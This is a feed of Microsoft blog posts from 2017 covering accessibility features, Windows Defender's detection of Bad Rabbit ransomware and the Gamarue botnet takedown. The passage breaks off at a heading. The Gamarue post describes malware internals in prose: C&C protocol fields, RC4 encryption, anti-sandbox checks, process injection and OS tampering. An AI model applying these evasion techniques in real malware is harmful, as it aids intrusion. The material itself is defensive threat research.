Trustworthy Computing Security and Privacy Blogs./blogs/default.aspxThis page consolidates and features blogs from Microsoft’s Trustworthy Computing (TwC) group, The team charged with working to deliver more secure, private and reliable computing experiences to customers and the globe. Drop by to read about Microsoft’s long-term vision and strategy, for computing privacy and security.Narrator Scan Mode updates for the Windows 10 Fall Creators Updatehttps://blogs.msdn.microsoft.com/accessibility/2017/12/14/narrator-scan-mode-updates/https://blogs.msdn.microsoft.com/accessibility/2017/12/14/narrator-scan-mode-updates/#respondThu, 14 Dec 2017 17:00:02 +0000https://blogs.msdn.microsoft.com/accessibility/?p=4186

Windows 10 has built-in accessibility fundamentals that offer programs and settings to make devices easier and more comfortable to use.

Since the Windows 10 Fall Creators Update, we’ve made several improvements to Narrator’s scan mode, which lets you navigate apps, email, and webpages using the arrow keys along with common keyboard shortcuts to read text and jump directly to headings, links, tables, and landmarks. The improvements to both Narrator and its scan mode will change your web browsing experience to allow you to navigate and use Microsoft Edge and Windows apps in the same way.

Similar to other screen readers, Narrator can be used when scan mode is on or off. In the Windows 10 Fall Creators Update, scan mode is turned on automatically when you use Microsoft Edge to browse the Internet. It also turns on automatically when you open any Windows app where you have turned it on before. The purpose is to provide a simple and seamless way to navigate the web and apps.

Scan mode helps you when reading text, webpages and apps, like the weather app, exploring and learning new experiences, and getting through documents or email. Scan mode also works well in reading dialogs with lots of controls and text. Although you could tab between the controls, the text in between the controls would be missed. Scan mode allows you to get access to everything in the dialog, including this text.

Scan mode gives you the ability to navigate text by character, word, line, and paragraph through web and apps. With scan mode, you can use the up and down arrows to take you through content. By pressing the space bar, you can interact with controls such as pressing a button or a link.

When scan mode is off, the keyboard is handled directly by the application, meaning Narrator does not interfere with the native interaction. If you want to use existing rich keyboard support that is provided by some apps, such as Office Online, we recommend toggling off scan mode.

For a full list of scan mode keyboard shortcuts refer to the scan mode section in the Narrator Getting Started Guide.

Changes in scan mode

Edit Field Switching: One new change that is different from previous versions of scan mode is that in edit fields, scan mode will automatically be turned off so that you can type, including in small edit fields such as the Cortana search box and large edit fields such as a Word document. If you are done typing and you would like to continue through the rest of the application, you can press the down arrow to get to the rest of the app and scan mode will be turned back on.

Remembered state of scan mode: Another new change is that if you turn off scan mode by pressing Caps + Space and you hear “Scan Off,” scan mode will be off and remembered per application. If you open the application again, this state will be remembered, and scan mode will be off, or on depending on the previous state. To turn scan mode back on, press Caps + Space.

Tips and tricks for scan mode with Edge

We’ve compiled a list of tips and tricks for using scan mode with Edge:We’ve compiled a list of tips and tricks for using scan mode with Edge:

  • Navigating between pages: The universal way to navigate back to something in Windows is with the Windows Key + Backspace key. This works in Edge as well as other apps. This works whether scan mode is on or off. You can also turn off scan mode and press Alt + Left and right arrows to move between pages.
  • Navigating in the Edge Hub with Favorites, Reading List, Books, History and Downloads: The Edge Browser has built in helpful shortcuts to jump to your favorites (Ctrl + I), reading list (Ctrl + M), history (Ctrl + H) and downloads (Ctrl + J) in the Edge Hub. These Ctrl shortcuts will work when scan mode is on. If you want to be able to navigate between these Edge Hub options using the left and right arrows you can toggle scan mode off.
  • Navigating Sliders: If you want to move a slider control up or down, such as the volume control in Windows, you can do this by pressing Space or Enter to increase or decrease the slider respectively.

Thank you to the many people who have provided feedback — both positive and constructive — to help make Windows accessibility delightful. If you are interested in providing help or suggestions, we welcome your feedback via the Windows Insider Program as these features are previewed in the coming months. Windows 10 makes it easy to share your thoughts and suggestions — just press Windows logo key + F to launch the Feedback hub and share what’s top of mind.

As well, if you are a customer with a disability (of any kind) and need technical assistance, the Disability Answer Desk is there to assist via phone and chat, and in the United States, we also have an ASL option for our customers with hearing loss (+1 503-427-1234).

]]>
https://blogs.msdn.microsoft.com/accessibility/2017/12/14/narrator-scan-mode-updates/feed/0
Updated with currency and color recognition, Seeing AI is available in 35 countrieshttps://blogs.msdn.microsoft.com/accessibility/2017/12/13/seeing-ai-new-features/https://blogs.msdn.microsoft.com/accessibility/2017/12/13/seeing-ai-new-features/#respondWed, 13 Dec 2017 22:30:11 +0000https://blogs.msdn.microsoft.com/accessibility/?p=4175iPhone with Seeing AI app

Since we first made Seeing AI available, there's been 100,000 downloads of the app and it has assisted users with over 3 million tasks. We have never been more humbled by your feedback and are encouraged to do more! When we first released this, we launched with features such as the ability to hear what a product is via audibly locating the barcode, describing images, text and faces of friends and family as they come into view. Today, we’re excited to announce new features coming to the app that will build on these early results, provide new user experiences and allow us to continue to learn and innovate. These new features, such as currency, handwriting and color recognition, as well as light detection, are now available in the app in 35 countries, including the European Union.

Some of the new features now available in Seeing AI include:

  • Color recognition: Getting dressed in the morning just got easier with this new feature, which describes the color of objects, like garments in your closet.
  • Currency recognition: Seeing AI can now recognize the currency of US dollars, Canadian dollars, British Pounds and Euros. Checking how much change is in your pocket or leaving a cash tip at a restaurant is much easier.
  • Musical light detector: The app alerts you with a corresponding audible tone when you aim the phone’s camera at light in the environment. A newly convenient tool so you don’t have to touch hot bulbs to know that a light is switched off, or the battery pack’s LED is on.
  • Handwriting recognition: Expanding on the ability of the app to read printed text, such as on menus or signs, the newly improved ability to read handwriting means you can read personal notes in a greeting card, as well as printed stylized text not usually readable by optical character recognition.
  • Reading documents: Seeing AI can read you the document aloud without voiceover, with synchronized word highlighting. Also, it includes the ability to change the text size on the Document channel.
  • Ability to choose voices and speed: Personalization is key, and when you’re not using VoiceOver, this feature lets you choose between the voice that is used and how fast it talks.

With each of these new features, we make sure to protect personal data while ensuring the technology operates effectively and provides users the best experiences with our products. If you have questions, the Microsoft Privacy Statement explains how Microsoft collects, stores and uses personal information.

We continue to hear from you how Seeing AI is bringing value to your life. It’s more than humbling. Cameron Roles, a university lecturer at the Australian National University College of Law, believes there’s never been a better time in history to be a blind person.

“I absolutely love Seeing AI. If my children hand me a note from school or if I pick up a book, I can use Seeing AI to quickly capture that text and just give me a very brief instant overview of what's on the document,” said Roles of the important capability the app has for reading text and handwriting. “I can quickly be right on top of it.”

“For me, I think we're coming into a really exciting time,” said Roles. “The growth in artificial intelligence, augmented reality, self-driving cars… I feel that it's a great time for all of us in society.”

“Technology can be such an enabler of good and such an enabler for people to shrink the world, for the world to come closer together, and for people to be able to achieve so much more than they ever could without it,” said Roles.

We’re excited to share these features and look forward to hearing from you who Seeing AI is making your world more inclusive. Its available in Apple’s App Store in 35 countries and when a new version is released, you will be shown the list of new features when you next launch the app.

Please if you have feedback, we want to hear it! This started as a prototype just a year ago, and while we’ve been thrilled with the progress, we know we have a long way to go. Please send your thoughts, feedback or questions to seeingai@microsoft.com.

If you have further questions or feedback, please contact the Disability Answer Desk. The Disability Answer Desk is there to assist via phone and chat, and in the United States, we also have an ASL option for our customers with hearing loss (+1 503-427-1234).

]]>
https://blogs.msdn.microsoft.com/accessibility/2017/12/13/seeing-ai-new-features/feed/0
December 2017 security update releasehttps://blogs.technet.microsoft.com/msrc/2017/12/12/december-2017-security-update-release/https://blogs.technet.microsoft.com/msrc/2017/12/12/december-2017-security-update-release/#respondTue, 12 Dec 2017 18:30:45 +0000https://blogs.technet.microsoft.com/msrc/?p=3225Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice.

More information about this month's security updates can be found in the Security Update Guide.

]]>
https://blogs.technet.microsoft.com/msrc/2017/12/12/december-2017-security-update-release/feed/0
Detonating a bad rabbit: Windows Defender Antivirus and layered machine learning defenseshttps://blogs.technet.microsoft.com/mmpc/2017/12/11/detonating-a-bad-rabbit-windows-defender-antivirus-and-layered-machine-learning-defenses/Mon, 11 Dec 2017 13:58:34 +0000https://blogs.technet.microsoft.com/mmpc/?p=17145Windows Defender Antivirus uses a layered approach to protection: tiers of advanced automation and machine learning models evaluate files in order to reach a verdict on suspected malware. While Windows Defender AV detects a vast majority of new malware files at first sight, we always strive to further close the gap between malware release and detection.

In a previous blog post, we looked at a real-world case study showing how Windows Defender Antivirus cloud protection service leverages next-gen security technologies to save "patient zero" from new malware threats in real-time. In that case study, a new Spora ransomware variant was analyzed and blocked within seconds using a deep neural network (DNN) machine learning classifier in the cloud. In this blog post we’ll look at how additional automated analysis and machine learning models can further protect customers within minutes in rare cases where initial classification is inconclusive.

Layered machine learning models

In Windows Defender AV’s layered approach to defense, if the first layer doesn’t detect a threat, we move on to the next level of inspection. As we move down the layers, the amount of time required increases. However, we catch the vast majority of malware at the first (fastest) protection layers and only need to move on to a more sophisticated (but slower) level of inspection for rarer/more advanced threats.

For example, the vast majority of scanned objects are evaluated by the local Windows Defender client machine learning models, behavior-based detection algorithms, generic and heuristic classifications, and more. This helps ensure that users get the best possible performance. In rare cases where local intelligence can’t reach a definitive verdict, Windows Defender AV will use the cloud for deeper analysis.

Figure 1. Layered detection model

For a more detailed look at our approach to protection, see The evolution of malware prevention.

Detonation-based machine learning classification

We use a variety of machine learning models that use different algorithms to predict whether a certain file is malware. Some of these algorithms are binary classifiers that give a strict clean-or-malware verdict (0 or 1), while others are multi-class classifiers that provide a probability for each classification (malware, clean, potentially unwanted application, etc). Each machine learning model is trained against a set of different features (often thousands, sometimes hundreds of thousands) to learn to distinguish between different kinds of programs.

For the fastest classifiers in our layered stack, the features may include static attributes of the file combined with events (for example, API calls or behaviors) seen while the scanning engine emulates the file using dynamic translation. If the results from these models are inconclusive, we’ll take an even more in-depth look at what the malware does by actually executing it in a sandbox and observing its run-time behavior. This is known as dynamic analysis, or detonation, and happens automatically whenever we receive a new suspected malware sample.

The activities seen in the sandbox machine (for example, registry changes, file creation/deletion, process injection, network connections, and so forth) are recorded and provided as features to our ML models. These models can then combine both the static features obtained from scanning the file with the dynamic features observed during detonation to arrive at an even stronger prediction.

Figure 2. Detonation-based machine learning classification

Ransom:Win32/Tibbar.A – Protection in 14 minutes

On October 24, 2017, in the wake of recent ransomware outbreaks such as Wannacry and NotPetya, news broke of a new threat spreading, primarily in Ukraine and Russia: Ransom:Win32/Tibbar.A (popularly known as Bad Rabbit).

This threat is a good example of how detonation-based machine learning came into play to protect Windows Defender AV customers. First though, let’s look at what happened to patient zero.

At 11:17 a.m. local time on October 24, a user running Windows Defender AV in St. Petersburg, Russia was tricked into downloading a file named FlashUtil.exe from a malicious website. Instead of a Flash update, the program was really the just-released Tibbar ransomware.

Windows Defender AV scanned the file and determined that it was suspicious. A query was sent to the cloud protection service, where several metadata-based machine learning models found the file suspicious, but not with a high enough probability to block. The cloud protection service requested that Windows Defender AV client to lock the file, upload it for processing, and wait for a decision.

Within a few seconds the file was processed, and sample-analysis-based ML models returned their conclusions. In this case, a multi-class deep neural network (DNN) machine learning classifier correctly classified the Tibbar sample as malware, but with only an 81.6% probability score. In order to avoid false positives, cloud protection service is configured by default to require at least 90% probability to block the malware (these thresholds are continually evaluated and fine-tuned to find the right balance between blocking malware while avoiding the blocking of legitimate programs). In this case, the ransomware was allowed to run.

Figure 3. Ransom:Win32/Tibbar.A ransom note

Detonation chamber

In the meantime, while patient zero and eight other unfortunate victims (in Ukraine, Russia, Israel, and Bulgaria) contemplated whether to pay the ransom, the sample was detonated and details of the system changes made by the ransomware were recorded.

Figure 4. Sample detonation events used by the machine learning model

As soon as the detonation results were available, a multi-class deep neural network (DNN) classifier that used both static and dynamic features evaluated the results and classified the sample as malware with 90.7% confidence, high enough for the cloud to start blocking.

When a tenth Windows Defender AV customer in the Ukraine was tricked into downloading the ransomware at 11:31 a.m. local time, 14 minutes after the first encounter, cloud protection service used the detonation-based malware classification to immediately block the file and protect the customer.

At this point the cloud protection service had "learned" that this file was malware. It now only required metadata from the client with the hash of the file to issue blocking decisions and protect customers. As the attack gained momentum and began to spread, Windows Defender AV customers with cloud protection enabled were protected. Later, a more specific detection was released to identify the malware as Ransom:Win32/Tibbar.A.

Closing the gap

While we feel good about Windows Defender AV's layered approach to protection, digging deeper and deeper with automation and machine learning in order to finally reach a verdict on suspected malware, we are continually seeking to close the gap even further between malware release and protection. The cases where we cannot block at first sight are increasingly rare, but there is so much to be done. As our machine learning models are continuously updated and retrained, we are able to make better predictions over time. Yet malware authors will not rest, and the ever-changing threat landscape requires continuous investment in new and better technologies to detect new threats, but also to effectively differentiate the good from the bad.

What about systems that do get infected while detonation and classification are underway? One area that we're actively investing in is advanced remediation techniques that will let us reach back out to those systems in an organization that were vulnerable and, if possible, get them back to a healthy state.

If you are organization that is willing to accept a higher false positive risk in exchange for stronger protection, you can configure the cloud protection level to tell the Windows Defender AV cloud protection service to take a more aggressive stance towards suspicious files, such as blocking at lower machine learning probability thresholds. In the Tibbar example above, for example, a configuration like this could have protected patient zero using the initial 81% confidence score, and not wait for the higher confidence (detonation-based) result that came later. You can also configure the cloud extended timeout to give the cloud protection service more time to evaluate a first-seen threat.

As another layer of real-time protection against ransomware, enable Controlled folder access, which is one of the features of the new Windows Defender Exploit Guard. Controlled folder access protects files from tampering by locking folders so that ransomware and other unauthorized apps can’t access them.

For enterprises, Windows Defender Exploit Guard’s other features (Attack Surface Reduction, Exploit protection, and Network protection) further protect networks from advanced attacks. Windows Defender Advanced Threat Protection can also alert security operations personnel about malware activities in the network so that personnel can promptly investigate and respond to attacks.

For users running Windows 10 S, malware like Tibbar simply won’t run. Windows 10 S provides advanced levels of security by exclusively running apps from the Microsoft Store. Threats such as Tibbar are non-issues for Windows 10 S users. Learn more about Windows 10 S.

New machine learning and AI techniques, in combination with both static and dynamic analysis, gives Windows Defender AV the ability to block more and more malware threats at first sight and, if that fails, learn as quickly as possible that something is bad and start blocking it. Using a layered approach, with different ML models at each layer, gives us the ability to target a wide variety of threats quickly while maintaining low false positive rates. As we gather more data about a potential threat, we can provide predictions with higher and higher confidence and take action accordingly. It is an exciting time to be in the fray.

 

Randy Treit

Senior Security Researcher, Windows Defender Research

 

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @WDSecurity and Facebook Windows Defender Security IntelligenceFor example, the vast majority of scanned objects are determined by the local Windows Defender client using local ML models, behavior-based detection algorithms, generic and heuristic classifications, etc in order to ensure that users get the best possible performance. Only in the rarer cases where local intelligence can’t reach a definitive verdict will Windows Defender AV reach out to the cloud for deeper analysis. For example, the vast majority of scanned objects are determined by the local Windows Defender client using local ML models, behavior-based detection algorithms, generic and heuristic classifications, etc in order to ensure that users get the best possible performance. Only in the rarer cases where local intelligence can’t reach a definitive verdict will Windows Defender AV reach out to the cloud for deeper analysis.

]]>
Accessible Diagrams with Microsoft Visiohttps://blogs.msdn.microsoft.com/accessibility/2017/12/05/accessible-diagrams-with-visio/https://blogs.msdn.microsoft.com/accessibility/2017/12/05/accessible-diagrams-with-visio/#respondTue, 05 Dec 2017 17:00:45 +0000https://blogs.msdn.microsoft.com/accessibility/?p=4115Data visualization is increasingly a part of every job and profession, and Microsoft Visio can help simplify and communicate complex information using diagrams. We’re committed to making sure that the process and content created in Visio – from flowcharts to floor plans to blueprints – is accessible to ensure every person can achieve more. Microsoft Visio and Visio Online (compare the options) now offers the ability to create and consume accessible diagrams, which should make it easier for people with limited dexterity, low vision or other disabilities to work with files and create clear and compelling visual content.

Visio and Visio Online, which is a part of Visio Online Plan 1 and Plan 2, already included key accessibility features like High Contrast, Screen Reader Support, Accessibility Checker, Alt-text and Keyboard shortcuts.

Please refer to Using a Screen Reader to create accessible diagrams for more information.

Some of the new accessibility features in Visio include:

  • Easier creation of accessible content. You can now use a Screen reader to create an accessible diagram. With your keyboard and a screen reader such as JAWS or Narrator, the built-in Windows screen reader, you can create a detailed and polished diagram using even some of Visio’s newest releases, like Data Visualizer, which transforms Excel process data into Visio diagrams. The output from Data Visualizer is made accessible by adding Alt-Text in the Excel table, which can then be imported by using a wizard. The use of drop-down menus, as an alternative to the drag and drop method, is another new capability in the user design.

  • Easier navigation. An accessible diagram with navigation based on the flow of the diagram is not only possible, but now automatically created. The unique navigation pane in Visio gives the option of customizing the navigation order.
  • Easier sharing. Furthermore, users can run the Accessibility Checker tool on diagrams to ensure complete accessibility. This accessible diagram can also be saved as an accessible PDF file so that it can be shared widely, using Alt-Text and defined navigation order. The Visio diagrams can be read by a Screen Reader, which reads the specific formatting details like size, position and color details for Visio shapes. A Screen Reader also helps understand the connections between the shapes by reading out the start and the end points of connectors.

A more inclusively designed Visio can also have benefits for those not yet in the workforce, our students. We’re excited to see how these diagrams can be used to supplement instruction in subjects like math, science and technology, as one of the biggest challenges for students using screen readers can be interpreting graphs and diagrams.

There are multiple examples of Visio accessible diagrams that can be helpful for people with disabilities. Here is a summary of the accessibility tools used to create accessible diagrams in Visio.

Screenshot of capabilities that are part of rich client in Visio Online Plan 2.

The above capabilities are part of rich client in Visio Online Plan 2.

We’re working hard to make sure accessibility capabilities are built into our technologies and products. We encourage you to give us feedback and ask questions about this feature or anything Visio by emailing us at tellvisio@microsoft.com. For step-by-step instructions to make Visio Online accessible, please refer to Make your Visio 2016 diagram accessible and Accessibility Support in Visio Online.  You can also learn more about using Visio Online Plan 2.

Microsoft wants to provide the best possible experience for all our customers. If you have a disability or questions related to accessibility, please contact the Disability Answer Desk for technical assistance. The Disability Answer Desk support team is trained in using many popular assistive technologies and can offer assistance in English, Spanish, French, and American Sign Language.

To stay informed of the latest Visio releases, follow us on Facebook  and Twitter, as well as check in with the latest  Visio news.

]]>
https://blogs.msdn.microsoft.com/accessibility/2017/12/05/accessible-diagrams-with-visio/feed/0
Microsoft teams up with law enforcement and other partners to disrupt Gamarue (Andromeda)https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/Mon, 04 Dec 2017 23:06:13 +0000https://blogs.technet.microsoft.com/mmpc/?p=17006Today, with help from Microsoft security researchers, law enforcement agencies around the globe, in cooperation with Microsoft Digital Crimes Unit (DCU), announced the disruption of Gamarue, a widely distributed malware that has been used in networks of infected computers collectively called the Andromeda botnet.

The disruption is the culmination of a journey that started in December 2015, when the Microsoft Windows Defender research team and DCU activated a Coordinated Malware Eradication (CME) campaign for Gamarue. In partnership with internet security firm ESET, we performed in-depth research into the Gamarue malware and its infrastructure.

Our analysis of more than 44,000 malware samples uncovered Gamarue’s sprawling infrastructure. We provided detailed information about that infrastructure to law enforcement agencies around the world, including:

  • 1,214 domains and IP addresses of the botnet’s command and control servers
  • 464 distinct botnets
  • More than 80 associated malware families

The coordinated global operation resulted in the takedown of the botnet’s servers, disrupting one of the largest malware operations in the world. Since 2011, Gamarue has been distributing a plethora of other threats, including:

A global malware operation

For the past six years, Gamarue has been a very active malware operation that, until the takedown, showed no signs of slowing down. Windows Defender telemetry in the last six months shows Gamarue’s global prevalence.

Figure 1. Gamarue’s global prevalence from May to November 2017

While the threat is global, the list of top 10 countries with Gamarue encounters is dominated by Asian countries.

Figure 2. Top 10 countries with the most Gamarue encounters from May to November 2017

In the last six months, Gamarue was detected or blocked on approximately 1,095,457 machines every month on average.

Figure 3. Machines, IPs, and unique file encounters for Gamarue from May to November 2017; data does not include LNK detections

The Gamarue bot

Gamarue is known in the underground cybercrime market as Andromeda bot. A bot is a program that allows an attacker to take control of an infected machine. Like many other bots, Gamarue is advertised as a crime kit that hackers can purchase.

The Gamarue crime kit includes the following components:

  • Bot-builder, which builds the malware binary that infects computers
  • Command-and-control application, which is a PHP-based dashboard application that allows hackers to manage and control the bots
  • Documentation on how to create a Gamarue botnet

A botnet is a network of infected machines that communicate with command-and-control (C&C) servers, which are computer servers used by the hacker to control infected machines.

The evolution of the Gamarue bot has been the subject of many thorough analyses by security researchers. At the time of takedown, there were five known active Gamarue versions: 2.06, 2.07, 2.08, 2.09, and 2.10. The latest and the most active is version 2.10.

Gamarue is modular, which means that its functionality can be extended by plugins that are either included in the crime kit or available for separate purchase. The Gamarue plugins include:

  • Keylogger ($150) – Used for logging keystrokes and mouse activity in order to steal user names and passwords, financial information, etc
  • Rootkit (included in crime kit) – Injects rootkit codes into all processes running on a victim computer to give Gamarue persistence
  • Socks4/5 (included in crime kit) – Turns victim computer into a proxy server for serving malware or malicious instructions to other computers on the internet
  • Formgrabber ($250) – Captures any data submitted through web browsers (Chrome, Firefox, and Internet Explorer) ​
  • Teamviewer ($250) – Enables attacker to remotely control the victim machine, spy on the desktop, perform file transfer, among other functions
  • Spreader – Adds capability to spread Gamarue malware itself via removable drives (for example, portable hard drives or flash drives connected via a USB port); it also uses Domain Name Generation (DGA) for the servers where it downloads updates

Gamarue attack kill-chain

Over the years, various attack vectors have been used to distribute Gamarue. These include:

  • Removable drives
  • Social media (such as Facebook) messages with malicious links to websites that host Gamarue
  • Drive-by downloads/exploit kits
  • Spam emails with malicious links
  • Trojan downloaders

Once Gamarue has infected a machine, it contacts the C&C server, making the machine part of the botnet. Through the C&C server, the hacker can control Gamarue-infected machines, steal information, or issue commands to download additional malware modules.

Figure 4. Gamarue’s attack kill-chain

Gamarue’s main goal is to distribute other prevalent malware families. During the CME campaign, we saw at least 80 different malware families distributed by Gamarue. Some of these malware families include:

The installation of other malware broadens the scale of what hackers can do with the network of infected machines.

Command-and-control communication

When the Gamarue malware triggers the infected machine to contact the C&C server, it provides information like the hard disk’s volume serial number (used as the bot ID for the computer), the Gamarue build ID, the operating system of the infected machine, the local IP address, an indication whether the signed in user has administrative rights, and keyboard language setting for the infected machine. This information is sent to the C&C server via HTTP using the JSON format:

Figure 5. Information sent by Gamarue to C&C server

The information about keyboard language setting is very interesting, because the machine will not be further infected if the keyboard language corresponds to the following countries:

  • Belarus
  • Russia
  • Ukraine
  • Kazahkstan

Before sending to the C&C server, this information is encrypted with RC4 algorithm using a key hardcoded in the Gamarue malware body.

Figure 6. Encrypted C&C communication

Once the C&C server receives the message, it sends a command that is pre-assigned by the hacker in the control dashboard.

Figure 7. Sample control dashboard used by attackers to communicate to Gamarue bots

The command can be any of the following:

  • Download EXE (i.e., additional executable malware files)
  • Download DLL (i.e., additional malware; removed in version 2.09 and later)
  • Install plugin
  • Update bot (i.e., update the bot malware)
  • Delete DLLs (removed in version 2.09 and later)
  • Delete plugins
  • Kill bot

The last three commands can be used to remove evidence of Gamarue presence in machines.

The reply from the C&C server is also encrypted with RC4 algorithm using the same key used to encrypt the message from the infected machine.

Figure 8. Encrypted reply from C&C server

When decrypted, the reply contains the following information:

  • Time interval in minutes – time to wait for when to ask the C2 server for the next command
  • Task ID - used by the hacker to track if there was an error performing the task
  • Command – one of the command mentioned above
  • Download URL - from which a plugin/updated binary/other malware can be downloaded depending on the command.

Figure 9. Decrypted reply from C&C server

Anti-sandbox techniques

Gamarue employs anti-AV techniques to make analysis and detection difficult. Prior to infecting a machine, Gamarue checks a list hashes of the processes running on a potential victim’s machine. If it finds a process that may be associated with malware analysis tools, such as virtual machines or sandbox tools, Gamarue does not infect the machine. In older versions, a fake payload is manifested when running in a virtual machine.

Figure 10. Gamarue checks if any of the running processes are associated with malware analysis tools

Stealth mechanisms

Gamarue uses cross-process injection techniques to stay under the radar. It injects its code into the following legitimate processes:

  • msiexec.exe (Gamarue versions 2.07 to 2.10)
  • wuauclt.exe, wupgrade.exe, svchost.exe (version 2.06)

It can also use a rootkit plugin to hide the Gamarue file and its autostart registry entry.

Gamarue employs a stealthy technique to store and load its plugins as well. The plugins are stored fileless, either saved in the registry or in an alternate data stream of the Gamarue file.

OS tampering

Gamarue attempts to tamper with the operating systems of infected computers by disabling Firewall, Windows Update, and User Account Control functions. These functionalities cannot be re-enabled until the Gamarue infection has been removed from the infected machine. This OS tampering behavior does not work on Windows 10

Figure 11. Disabled Firewall and Windows Update

Monetization

There are several ways hackers earn using Gamarue. Since Gamarue’s main purpose is to distribute other malware, hackers earn using pay-per-install scheme. Using its plugins, Gamarue can also steal user information; stolen information can be sold to other hackers in cybercriminal underground markets. Access to Gamarue-infected machines can also be sold, rented, leased, or swapped by one criminal group to another.

Remediation

To help prevent a Gamarue infection, as well as other malware and unwanted software, take these precautions:

  • Be cautious when opening emails or social media messages from unknown users.
  • Be wary about downloading software from websites other than the program developers.

More importantly, ensure you have the right security solutions that can protect your machine from Gamarue and other threats. Windows Defender Antivirus detects and removes the Gamarue malware. With advanced machine learning models, as well as generic and heuristic techniques, Windows Defender AV detects new as well as never-before-seen malware in real-time via the cloud protection service. Alternatively, standalone tools, such as Microsoft Safety Scanner and the Malicious Software Removal Tool (MSRT), can also detect and remove Gamarue.

Microsoft Edge can block Gamarue infections from the web, such as those from malicious links in social media messages and drive-by downloads or exploit kits. Microsoft Edge is a secure browser that opens pages within low privilege app containers and uses reputation-based blocking of malicious downloads.

In enterprise environments, additional layers of protection are available. Windows Defender Advanced Threat Protection can help security operations personnel to detect Gamarue activities, including cross-process injection techniques, in the network so they can investigate and respond to attacks. Windows Defender ATP’s enhanced behavioral and machine learning detection libraries flag malicious behavior across the malware infection process, from delivery and installation, to persistence mechanisms, and command-and-control communication.

Microsoft Exchange Online Protection (EOP) can block Gamarue infections from email uses built-in anti-spam filtering capabilities that help protect Office 365 customers. Office 365 Advanced Threat Protection helps secure mailboxes against email attacks by blocking emails with unsafe attachments, malicious links, and linked-to files leveraging time-of-click protection.

Windows Defender Exploit Guard can block malicious documents (such as those that distribute Gamarue) and scripts. The Attack Surface Reduction (ASR) feature in Windows Defender Exploit Guard uses a set of built-in intelligence that can block malicious behaviors observed in malicious documents. ASR rules can also be turned on to block malicious attachments from being run or launched from Microsoft Outlook or webmail (such as Gmail, Hotmail, or Yahoo).

Microsoft is also continuing the collaborative effort to help clean Gamarue-infected computers by providing a one-time package with samples (through the Virus Information Alliance) to help organizations protect their customers.

 

 

Microsoft Digital Crimes Unit and Windows Defender Research team

 

 

Get more info on the Gamarue (Andromeda) takedown from the following sources:

 

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @WDSecurity and Facebook Microsoft Malware Protection Center

]]>
Empowering the Transformation to a More Inclusive and Accessible Worldhttps://blogs.msdn.microsoft.com/accessibility/2017/12/04/idpd2017/https://blogs.msdn.microsoft.com/accessibility/2017/12/04/idpd2017/#respondMon, 04 Dec 2017 17:00:17 +0000https://blogs.msdn.microsoft.com/accessibility/?p=4095By Jenny Lay-Flurrie, Chief Accessibility Officer

United Nations International Day of Persons with Disabilities (UN IDPD) serves as an important reminder that globally there are over a billion people with a disability. This year’s theme, “Transformation towards sustainable and resilient society for all” is especially relevant to our accessibility efforts here at Microsoft. This is a fact reinforced by the World Health Organization in which they shared that only 1 in 10 have access to the assistive technology they need: technology that can empower functioning, well-being and independence. This is a statistic that needs to change.

Disability is something that can affect any of us at any time, and technology has the power to change lives and help transform society on multiple levels. There have been many advances in assistive technology, especially in the last couple of years, and it’s both exciting and humbling to see the progress. There’s a lot more to do (and trust me, we’re on that!) but in the meantime, let’s talk about some of the steps we’re making at Microsoft to make accessibility easier to find, use, and become a master at.

First, we’ve been pouring over your feedback that comes in from the UserVoice forum and the thousands of people that contact our Disability Answer Desk support lines every month. We’ve started producing videos to answer your most common questions. Often, these are simple tasks that folks are just looking for a quick tutorial on or hints on how to get going!

We developed these short videos in partnership with our friends in Customer Service Support (with closed captioning and audio description) to help with tasks like changing font sizes, installing Windows 10 using Narrator, and more tasks. These have just gone live so do check out the new Disability Answer Desk video series and let us know what you think! And if there is something we missed, share what else you want to see in UserVoice!

Chitra

Chitra from the Disability Answer Desk introducing herself.

Second, it’s never been more important to build inclusively. Building inclusively just makes sense. It helps to ensure sustained feature sets and, most importantly, makes accessible features easier to find and use. When the Office team moved the Accessibility Checker (which is now available across the Office 365 suite from a deep dark menu) to be located right next to Spell Check, usage of the feature increased five times!

However, the one thing I heard on my travels is that people are not aware of all the cool stuff included in our products. Here are my top tips.

Windows 10 (Fall Creators Update)

The Windows 10 Fall Creators Update includes several new features: Dictation on the Desktop, which allows a person to speak into their microphone, and their words are converted to text. Color Filters  improve usability for people, allowing them to differentiate between colors like red and green. Narrator now uses Microsoft Cognitive Services to automatically generate image descriptions for pictures that lack alternative text; and, it’s possible to use Magnifier with Narrator, so you can zoom in on text and have it read aloud. Read Aloud in Edge reads content from web pages, news, documents, and more (and just hit 1 million users! Whoop!) I can’t finish this section without mentioning Eye Control for Windows 10. Specifically designed to enable people with physical and mobility impairments, like ALS, Eye Control for Windows 10 lets you navigate, interact and use text-to-speech features on Windows 10 with only the movement of your eyes and a compatible eye tracker, like the Tobii 4C. Check these features out, and if you haven’t yet upgraded to Windows 10 and you use assistive technology, please do take advantage of our free upgrade offer to get Windows 10 by the end of the year.

Office 365

I encourage you to check out the recent six part Inclusion in Action video series to see the real world impact of Office 365 technologies at home, school and work! Every single person featured in these videos either contacted our Disability Answer Desk, spoke to one of us at an event or wrote something that got our attention! We are so grateful to all of them for sharing their stories so we can learn about how they’re using features like Learning Tools, which opens doors to reading and writing for people with learning difficulties like dyslexia. We’ve now expanded Learning Tools to be available in Word, including on the iPad and our browser Edge: it's right up there on the menu bar. Also, the other best kept secret is the Tell Me feature in Office 365, which lets you enter words and phrases about what you want to do next, and quickly get to features you want to use or actions you want to perform.

Artificial Intelligence

Next, I want to talk about the importance of artificial intelligence (AI.) While I was in Sydney last month for the Microsoft Summit, I announced the expanded availability of Seeing AI in Australia, Ireland and the United Kingdom. This free app on iOS uses AI to narrate the world, from text to the gender of a person in the room. It's an invaluable tool for people with blindness or low vision, and as was recently highlighted in this article, features that may also be valuable for people with autism. I love reading the feedback from this app. One attendee shared, "I cannot tell you how liberating that is when I used to have to rely on other people to tell me where things were. I still wake up each morning with that wow factor." AI is also empowering technologies like Presentation Translator, a free ‘add in’ for PowerPoint, which lets people digest content across languages. It also allows folks like me with deafness to get instant, highly accurate, real-time captions. However, this is only the tip of the iceberg. These two examples show that AI has hugely exciting ramifications for people with disabilities. At the core, AI is about enhancing human capability - and people with disabilities are clear experts when it comes to human capabilities!

Smart Cities

